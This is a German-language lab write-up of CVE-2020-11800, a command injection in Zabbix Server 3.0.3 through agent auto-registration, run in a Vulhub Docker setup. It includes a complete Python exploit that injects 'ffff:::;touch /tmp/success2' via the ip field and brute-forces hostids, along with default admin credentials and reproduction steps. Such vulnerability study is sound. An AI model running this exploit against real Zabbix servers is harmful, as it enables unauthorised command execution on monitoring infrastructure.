
PoC-Exploit für CVE-2020-11800, eine Befehlsinjektion im Zabbix Server über bösartige Agenten-Autoregistrierung, mit Python-basierter Payload-Übermittlung und Brute-Forcing von Host-IDs.
Die gemäß den Aufgabenrichtlinien erforderlichen Abschnitte sind mit „(Erforderlich)“ gekennzeichnet.
Diese Umgebung verwendet ein benutzerdefiniertes Dockerfile, das auf dem von Vulhub bereitgestellten verwundbaren Zabbix-Server-Image basiert.
FROM vulhub/zabbix:3.0.3-server
Das Dockerfile erstellt ein lokales Image mit der verwundbaren Zabbix-3.0.3-Serverumgebung. Während des Build-Prozesses wurden keine zusätzlichen Pakete oder Konfigurationen hinzugefügt.
Die verwundbare Umgebung wird mit Docker Compose konfiguriert.
Die Umgebung besteht aus vier Diensten:
Der server-Dienst wird lokal mit dem Dockerfile erstellt:
server:
build: .
image: cve-2020-11800-server
Der MySQL-Container importiert automatisch SQL-Initialisierungsdateien aus dem Verzeichnis src/ per Volume-Mount:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
Dadurch werden das Datenbankschema und die initialen Zabbix-Daten beim Start des Containers automatisch geladen.
Die Umgebung arbeitet mit der folgenden Struktur:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Stellt die webbasierte Verwaltungsoberfläche bereit, die über den Browser erreichbar ist.
Über diese Oberfläche konfiguriert der Administrator die Auto-Registrierung und führt überwachungsbezogene Operationen aus.
Die Kernkomponente, verantwortlich für:
Die Command-Injection-Schwachstelle wird in diesem Container ausgelöst.
Fungiert als überwachter Host und kommuniziert mit dem Zabbix-Server.
Der Exploit missbraucht den Auto-Registrierungsmechanismus während des Agenten-Registrierungsprozesses.
Speichert Zabbix-Konfigurationsdaten, Host-Informationen und überwachungsbezogene Daten.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
Die Umgebung basiert auf der von Vulhub bereitgestellten verwundbaren Zabbix-3.0.3-Umgebung.
CVE-2020-11800 ist eine Command-Injection-Schwachstelle in der Active-Proxy-Trapper-Funktionalität des Zabbix-Servers.
Die Schwachstelle existiert, weil der Patch für CVE-2017-2824 unvollständig war. Ein Angreifer kann den ursprünglichen Patch mithilfe eines IPv6-artigen Payloads umgehen und beliebige Befehle auf dem Zabbix-Server ausführen.
Die Schwachstelle wird während des Auto-Registrierungsprozesses ausgelöst, wenn der Server vom Benutzer kontrollierte Host-Informationen verarbeitet.
Die Grundursache der Schwachstelle ist die unsichere Verarbeitung von benutzerkontrollierten Eingaben innerhalb von Shell-Befehlen.
Während der Skriptausführung verwendet der Zabbix-Server den registrierten Host-IP-Wert, um Befehle wie die folgenden zu konstruieren:
ping <host_ip>
Unter normalen Bedingungen:
ping 127.0.0.1
Wenn ein Angreifer jedoch einen Host mit dem folgenden Payload registriert:
ffff:::;touch /tmp/success2
wird der endgültige, von der Shell ausgeführte Befehl zu:
ping ffff:::;touch /tmp/success2
Da das Semikolon (;) als Shell-Befehlstrenner fungiert, interpretiert die Shell die Eingabe als zwei getrennte Befehle:
ping ffff:::
touch /tmp/success2
Dadurch wird die Ausführung beliebiger Befehle möglich.
Der ursprüngliche Patch für CVE-2017-2824 versuchte, bösartige Eingabewerte einzuschränken.
Die Validierungslogik behandelte jedoch IPv6-artige Eingaben nicht ordnungsgemäß.
Der Payload:
ffff:::;touch /tmp/success2
verwendet ein IPv6-artiges Präfix (ffff:::), um die vorhandene Validierungslogik zu umgehen, während weiterhin Shell-Metazeichen injiziert werden.
Dadurch können Angreifer den vorherigen Patch umgehen und die Command-Injection-Schwachstelle weiter ausnutzen.
Der Exploit-Prozess läuft in der folgenden Reihenfolge ab:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
Der Angreifer sendet zunächst eine bösartige Auto-Registrierungsanfrage mit einem manipulierten IP-Feld.
Nachdem der Host registriert wurde, führt der Zabbix-Server ein Überwachungsskript unter Verwendung des gespeicherten Host-IP-Werts aus.
Während dieses Prozesses wird der bösartige Payload von der Shell interpretiert, was zur Ausführung beliebiger Befehle führt.
Der Exploit ermöglicht es Angreifern, beliebige Befehle mit den Rechten des Zabbix-Server-Prozesses auszuführen.
In dieser Umgebung erzeugte eine erfolgreiche Ausnutzung die folgende Datei im Server-Container:
/tmp/success2
Dies bestätigt, dass injizierte Shell-Befehle erfolgreich ausgeführt wurden.
In einer realen Umgebung könnte eine erfolgreiche Ausnutzung es Angreifern ermöglichen:
Die Schwachstelle ist besonders gefährlich, da Überwachungsserver häufig Einblick in mehrere interne Systeme und Infrastrukturkomponenten haben.
Der Proof of Concept (PoC) wurde in Python geschrieben und kommuniziert direkt über den TCP-Port 10051 mit dem Zabbix-Server.
Der PoC führt die folgenden Aktionen aus:
hostid-Werte durchimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
Der in diesem PoC verwendete Payload ist:
ffff:::;touch /tmp/success2
| Teil | Zweck |
|---|---|
ffff::: | IPv6-artiges Präfix zum Umgehen der Validierung |
; | Shell-Befehlstrenner |
touch /tmp/success2 | Beliebiger, auf dem Server ausgeführter Befehl |
Der Payload nutzt die Tatsache aus, dass der Server benutzerkontrollierte IP-Werte unsachgemäß in Shell-Befehle einfügt.
Der Payload wird während des Auto-Registrierungsprozesses über das Feld ip übermittelt.
Die erste vom PoC gesendete Anfrage versucht, einen bösartigen Host zu registrieren.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
Nach der Registrierung versucht der PoC, eine gültige hostid zu finden.
for i in range(10000, 10500):
Der PoC durchläuft einen Bereich möglicher Host-IDs und versucht, die Skriptausführung auszulösen.
Dieser Schritt ist notwendig, da der Server nach der Registrierung Host-IDs dynamisch vergibt.
Die folgende Anfrage löst die Befehlsausführung aus:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Parameter | Beschreibung |
|---|---|
request | Fordert die Skriptausführung an |
scriptid | ID des konfigurierten Zabbix-Skripts |
hostid | Ziel-Host-ID |
In dieser Umgebung entspricht scriptid:1 einem Ping-bezogenen Skript, das während der Befehlsausführung den Host-IP-Wert verwendet.
Der Zabbix-Server konstruiert intern einen Shell-Befehl ähnlich dem folgenden:
ping ffff:::;touch /tmp/success2
Die Shell interpretiert dies als:
ping ffff:::
touch /tmp/success2
Als Ergebnis:
touch-Befehl erfolgreich ausgeführtBei erfolgreicher Ausnutzung kann die folgende Ausgabe erscheinen:
ping: bad address 'ffff:::'
Dies zeigt, dass der Payload die Stufe der Shell-Befehlsausführung erreicht hat.
Eine erfolgreiche Ausnutzung wird bestätigt, wenn die folgende Datei im Server-Container vorhanden ist:
/tmp/success2
Der vollständige Exploit-Ablauf ist unten zusammengefasst:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Starten Sie die verwundbare Umgebung mit Docker Compose.
docker compose up -d
Prüfen Sie, ob alle Container korrekt laufen.
docker compose ps
Die Umgebung sollte die folgenden Container enthalten:
Öffnen Sie den Browser und rufen Sie die Zabbix-Weboberfläche auf.
http://127.0.0.1:8080
Standard-Anmeldedaten:
Username: admin
Password: zabbix
Der Exploit erfordert, dass die Auto-Registrierungsfunktion aktiviert ist.
Navigieren Sie zu:
Configuration → Actions
Ändern Sie die Ereignisquelle auf:
Auto registration
Erstellen Sie eine neue Aktion und konfigurieren Sie die folgende Operation:
Operation Type: Add Host
Dadurch können neu registrierte Agenten automatisch zum Server hinzugefügt werden.
Führen Sie das PoC-Skript aus.
python3 exploit.py 127.0.0.1
Der PoC sendet eine bösartige Auto-Registrierungsanfrage und versucht, mithilfe mehrerer Host-IDs die Befehlsausführung auszulösen.
Bei erfolgreicher Ausnutzung kann eine Ausgabe ähnlich der folgenden erscheinen:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
Dies zeigt, dass der Payload den verwundbaren Pfad der Shell-Befehlsausführung erreicht hat.
Greifen Sie auf den Zabbix-Server-Container zu.
docker exec -it cve-2020-11800-server-1 bash
Prüfen Sie, ob der injizierte Befehl die Zieldatei erstellt hat.
ls -l /tmp/success2
Eine erfolgreiche Ausnutzung erzeugt eine Ausgabe ähnlich der folgenden:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
Dies bestätigt, dass beliebige Befehle erfolgreich innerhalb des Zabbix-Server-Containers ausgeführt wurden.
Die folgenden Screenshots wurden im Verzeichnis screenshots/ abgelegt:

